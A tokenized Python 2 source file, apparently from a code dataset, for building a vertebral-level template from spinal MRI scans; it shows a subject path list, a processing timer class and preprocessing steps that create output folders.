"data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "5", "/", "3", "7", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "5", "/", "3", "8", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "pain", "\\u", "pilot", "\\u", "7", "'_", ",_", "folder", "\\u", "data\\u", "pain", "_", "+_", "'/", "d\\u", "sp", "\\u", "pain", "\\u", "pilot", "7", "/", "32", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "pain", "_", "+_", "'/", "d\\u", "sp", "\\u", "pain", "\\u", "pilot", "7", "/", "3", "3", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "03", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "03", "/", "32", "-", "SPIN", "E", "\\u", "all", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "03", "/", "3", "8", "-", "SPIN", "E", "\\u", "all", "\\u", "space", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "FR", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "FR", "\\u", "T", "080", "/", "01", "\\u", "0039", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "3p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-1", "3", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "FR", "\\u", "T", "080", "/", "01", "\\u", "010", "4", "\\u", "spine", "2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "GB", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "GB", "\\u", "T", "083", "/", "01", "\\u", "002", "9", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "5", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "GB", "\\u", "T", "083", "/", "01", "\\u", "0033", "\\u", "sc", "-", "tse", "-", "spc", "-1", "mm", "-", "3p", "alli", "ers", "-", "fov", "256", "-", "nop", "at", "-", "comp", "-", "sp", "-", "7", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "3", "6", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "6", "/", "30", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "6", "/", "3", "1", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "3", "7", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "7", "/", "1", "9", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "3", "7", "/", "20", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "4", "3", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "4", "3", "/", "2", "2", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "4", "3", "/", "1", "8", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "err", "sm", "\\u", "4", "4", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "4", "4", "/", "1", "8", "-", "SPIN", "E", "\\u", "T1", "/", "echo", "\\u", "2.0", "9", "'_", ",_", "folder", "\\u", "data\\u", "err", "sm_", "+_", "'/", "err", "sm", "\\u", "4", "4", "/", "1", "9", "-", "SPIN", "E", "\\u", "T2", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "AM", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "AM", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "5", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "AM", "/", "01", "\\u", "0100", "\\u", "compo", "-", "t2", "-", "spine", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "HB", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "HB", "/", "01", "\\u", "0007", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "2", "9", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "HB", "/", "01", "\\u", "0100", "\\u", "t2", "-", "compo", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "PA", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "PA", "/", "01", "\\u", "003", "4", "\\u", "sc", "-", "mpr", "age", "-1", "mm", "-", "2p", "alli", "ers", "-", "fov", "384", "-", "comp", "-", "sp", "-", "5", "'_", ",_", "folder", "\\u", "data\\u", "mars", "eil", "le_", "+_", "'/", "PA", "/", "01", "\\u", "003", "8", "\\u", "sc", "-", "tse", "-", "spc", "-1", "mm", "-", "3p", "alli", "ers", "-", "fov", "256", "-", "nop", "at", "-", "comp", "-", "sp", "-", "7", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Parameter", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "height", "\\u", "of", "\\u", "template", "\\u", "space_", "=_", "1100", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x", "\\u", "size", "\\u", "of", "\\u", "template", "\\u", "space_", "=_", "200_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "size", "\\u", "of", "\\u", "template", "\\u", "space_", "=_", "200_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "number", "\\u", "labels", "\\u", "for", "\\u", "template_", "=_", "20_", "#", " ", "vert", "ebra", "l", " ", "levels_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "straight", "eni", "ng", "\\u", "parameters_", "=_", "'-", "params", " ", "algo", "\\u", "fitting", "=", "nur", "bs", ",", "bsp", "line", "\\u", "mesh", "size", "=", "5", "x5", "x1", "5", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "timer_", "=_", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "[_", "'", "T1", "'_", "]_", "=_", "Time", "Object_", "(_", "number", "\\u", "of", "\\u", "subjects_", "=_", "len_", "(_", "SUBJECT", "S", "\\u", "LIST_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "[_", "'", "T2", "'_", "]_", "=_", "Time", "Object_", "(_", "number", "\\u", "of", "\\u", "subjects_", "=_", "len_", "(_", "SUBJECT", "S", "\\u", "LIST_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "[_", "'", "align", "'_", "]_", "=_", "Time", "Object_", "(_", "number", "\\u", "of", "\\u", "subjects_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "cross", " ", "at", " ", "the", " ", "first", " ", "and", " ", "last", " ", "labels", " ", "for", " ", "each", " ", "subject", ".", " ", "Thi", "s", " ", "cross", " ", "will", " ", "be", " ", "used", " ", "to", " ", "push", " ", "the", " ", "subject", " ", "int", "o", " ", "the", " ", "template", " ", "space", " ", "usi", "ng", " ", "affin", "e", " ", "transf", "o", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "push", " ", "int", "o", " ", "template", " ", "space_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "position", " ", "of", " ", "labels", " ", "crop", "\\u", "2te", "mp", " ", "with", " ", "image", " ", "crop", "\\u", "2te", "mp_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "no", " ", "good", ":", " ", "check", " ", "position", " ", "of", " ", "labels", " ", "reg", " ", "with", " ", "image", " ", "normali", "zed", "\\u", "straight", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "no", " ", "good", ":", " ", "check", " ", "position", " ", "of", " ", "labels", " ", "dilate", "d", " ", "with", " ", "image", " ", "crop_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Calculat", "e", " ", "mean", " ", "labels", " ", "and", " ", "save", " ", "it", " ", "int", "o", " ", "folder", " ", "\"", "labels", "\\u", "vert", "ebra", "l", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Align", "ing", " ", "vert", "ebra", "e", " ", "for", " ", "all", " ", "subject", "s", " ", "and", " ", "copy", " ", "results", " ", "int", "o", " ", "\"", "Final", "\\u", "results", "\".", " ", "Plus", ":", " ", "save", " ", "png", " ", "images", " ", "of", " ", "all", " ", "subject", " ", "int", "o", " ", "a", " ", "folder", " ", "named", " ", "Image", "\\u", "results", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "==============", "==============", "==============", "==============", "==============", "==============", "==============", "==============", "=======", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Start", " ", "program_", "\\u\\u\\uNL\\u\\u\\u_", "#", "==============", "==============", "==============", "==============", "==============", "==============", "==============", "==============", "=======", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "call", " ", "main", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Time", "Object_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Time", "Object_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "number", "\\u", "of", "\\u", "subjects_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "start", "\\u", "timer_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "time", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "total", "\\u", "number", "\\u", "of", "\\u", "subjects_", "=_", "number", "\\u", "of", "\\u", "subjects_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "number", "\\u", "of", "\\u", "subject", "s", "\\u", "done_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "is", "\\u", "started_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Time", "Object_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "start", "\\u", "timer_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "is", "\\u", "started_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Time", "Object_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "one", "\\u", "subject", "\\u", "done_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "number", "\\u", "of", "\\u", "subject", "s", "\\u", "done_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "time", "\\u", "list_", "._", "append_", "(_", "time_", "._", "time_", "(_", ")_", "-_", "self_", "._", "start", "\\u", "timer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rema", "inin", "g", "\\u", "subjects_", "=_", "self_", "._", "total", "\\u", "number", "\\u", "of", "\\u", "subjects_", "-_", "self_", "._", "number", "\\u", "of", "\\u", "subject", "s", "\\u", "done_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time", "\\u", "one", "\\u", "subject_", "=_", "self_", "._", "time", "\\u", "list_", "[_", "-_", "1_", "]_", "/_", "self_", "._", "number", "\\u", "of", "\\u", "subject", "s", "\\u", "done_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rema", "inin", "g", "\\u", "time_", "=_", "rema", "inin", "g", "\\u", "subjects_", "*_", "time", "\\u", "one", "\\u", "subject_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hours_", ",_", "rem_", "=_", "divmod_", "(_", "rema", "inin", "g", "\\u", "time_", ",_", "3600_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "minutes_", ",_", "seconds_", "=_", "divmod_", "(_", "rem_", ",_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "print", "v_", "(_", "'", "Rema", "inin", "g", " ", "time", ":", " ", "{:", "0", ">", "2", "}:", "{:", "0", ">", "2", "}:", "{:", "05", ".2", "f", "}'_", "._", "format_", "(_", "int_", "(_", "hours_", ")_", ",_", "int_", "(_", "minutes_", ")_", ",_", "seconds_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Time", "Object_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "time", "\\u", "list_", "._", "append_", "(_", "time_", "._", "time_", "(_", ")_", "-_", "self_", "._", "start", "\\u", "timer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hours_", ",_", "rem_", "=_", "divmod_", "(_", "self_", "._", "time", "\\u", "list_", "[_", "-_", "1_", "]_", ",_", "3600_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "minutes_", ",_", "seconds_", "=_", "divmod_", "(_", "rem_", ",_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "print", "v_", "(_", "'", "Total", " ", "time", ":", " ", "{:", "0", ">", "2", "}:", "{:", "0", ">", "2", "}:", "{:", "05", ".2", "f", "}'_", "._", "format_", "(_", "int_", "(_", "hours_", ")_", ",_", "int_", "(_", "minutes_", ")_", ",_", "seconds_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "is", "\\u", "started_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Time", "Object_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "print", "Rema", "inin", "g", "Time_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rema", "inin", "g", "\\u", "subjects_", "=_", "self_", "._", "total", "\\u", "number", "\\u", "of", "\\u", "subjects_", "-_", "self_", "._", "number", "\\u", "of", "\\u", "subject", "s", "\\u", "done_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time", "\\u", "one", "\\u", "subject_", "=_", "self_", "._", "time", "\\u", "list_", "[_", "-_", "1_", "]_", "/_", "self_", "._", "number", "\\u", "of", "\\u", "subject", "s", "\\u", "done_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rema", "inin", "g", "\\u", "time_", "=_", "rema", "inin", "g", "\\u", "subjects_", "*_", "time", "\\u", "one", "\\u", "subject_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hours_", ",_", "rem_", "=_", "divmod_", "(_", "rema", "inin", "g", "\\u", "time_", ",_", "3600_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "minutes_", ",_", "seconds_", "=_", "divmod_", "(_", "rem_", ",_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "is", "\\u", "started_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "print", "v_", "(_", "'", "Rema", "inin", "g", " ", "time", ":", " ", "{:", "0", ">", "2", "}:", "{:", "0", ">", "2", "}:", "{:", "05", ".2", "f", "}'_", "._", "format_", "(_", "int_", "(_", "hours_", ")_", ",_", "int_", "(_", "minutes_", ")_", ",_", "seconds_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "print", "v_", "(_", "'", "Total", " ", "time", ":", " ", "{:", "0", ">", "2", "}:", "{:", "0", ">", "2", "}:", "{:", "05", ".2", "f", "}'_", "._", "format_", "(_", "int_", "(_", "hours_", ")_", ",_", "int_", "(_", "minutes_", ")_", ",_", "seconds_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Time", "Object_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "print", "Total", "Time_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hours_", ",_", "rem_", "=_", "divmod_", "(_", "self_", "._", "time", "\\u", "list_", "[_", "-_", "1_", "]_", ",_", "3600_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "minutes_", ",_", "seconds_", "=_", "divmod_", "(_", "rem_", ",_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "is", "\\u", "started_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "print", "v_", "(_", "'", "Rema", "inin", "g", " ", "time", ":", " ", "{:", "0", ">", "2", "}:", "{:", "0", ">", "2", "}:", "{:", "05", ".2", "f", "}'_", "._", "format_", "(_", "int_", "(_", "hours_", ")_", ",_", "int_", "(_", "minutes_", ")_", ",_", "seconds_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sct", "_", "._", "print", "v_", "(_", "'", "Total", " ", "time", ":", " ", "{:", "0", ">", "2", "}:", "{:", "0", ">", "2", "}:", "{:", "05", ".2", "f", "}'_", "._", "format_", "(_", "int_", "(_", "hours_", ")_", ",_", "int_", "(_", "minutes_", ")_", ",_", "seconds_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "timer_", "[_", "'", "T1", "'_", "]_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Process", "ing", " ", "of", " ", "T1", " ", "data", " ", "for", " ", "template_", "\\u\\u\\uNL\\u\\u\\u_", "#", "do", "\\u", "preproc", "essi", "ng", "('", "T1", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "create", "\\u", "cross", "('", "T1", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "push", "\\u", "int", "o", "\\u", "templa", "ce", "\\u", "space", "('", "T1", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "averag", "e\\u", "level", "s", "('", "T1", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "timer_", "[_", "'", "T1", "'_", "]_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "timer_", "[_", "'", "T2", "'_", "]_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Process", "ing", " ", "of", " ", "T2", " ", "data", " ", "for", " ", "template_", "\\u\\u\\uNL\\u\\u\\u_", "#", "do", "\\u", "preproc", "essi", "ng", "('", "T2", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "create", "\\u", "cross", "('", "T2", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "push", "\\u", "int", "o", "\\u", "templa", "ce", "\\u", "space", "('", "T2", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "averag", "e\\u", "level", "s", "('", "T2", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "timer_", "[_", "'", "T2", "'_", "]_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "timer", "['", "align", "']", ".", "start", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "averag", "e\\u", "level", "s", "('", "bot", "h", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "align", "\\u", "vert", "ebra", "e", "('", "T1", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "align", "\\u", "vert", "ebra", "e_", "(_", "'", "T2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "[_", "'", "T2", "'_", "]_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "[_", "'", "align", "'_", "]_", "._", "stop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sct", "_", "._", "print", "v_", "(_", "'", "T1", " ", "time", ":'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "[_", "'", "T2", "'_", "]_", "._", "print", "Total", "Time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "print", "v_", "(_", "'", "T2", " ", "time", ":'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "[_", "'", "T2", "'_", "]_", "._", "print", "Total", "Time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sct", "_", "._", "print", "v_", "(_", "'", "Align", " ", "time", ":'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "[_", "'", "align", "'_", "]_", "._", "print", "Total", "Time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "\\u", "preprocessing_", "(_", "contrast", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Loop", " ", "acro", "ss", " ", "subjects_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "len_", "(_", "SUBJECT", "S", "\\u", "LIST_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subject_", "=_", "SUBJECT", "S", "\\u", "LIST_", "[_", "i_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sho", "ul", "d", " ", "check", " ", "all", " ", "inputs", " ", "bef", "ore", " ", "startin", "g", " ", "the", " ", "process", "ing", " ", "of", " ", "the", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "and", " ", "go", " ", "to", " ", "output", " ", "folder_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Creat", "e", " ", "-", "if", " ", "not", " ", "exist", "ing", "-", " ", "and", " ", "go", " ", "to", " ", "output", " ", "folder", " ", "'_", "+_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "os_", "._", "chdir_", "(_", "PATH", "\\u", "OUTPUT_", "+_", "'/", "subject", "s", "/'_", "+_", "subject_", "+_", "'/'_", "+_", "contrast", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "to", " ", "ni", "i_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "n", "Check", "ing", " ", "if", " ", "dicom", "s", " ", "have", " ", "alr", "ead", "y", " ", "bee", "n", 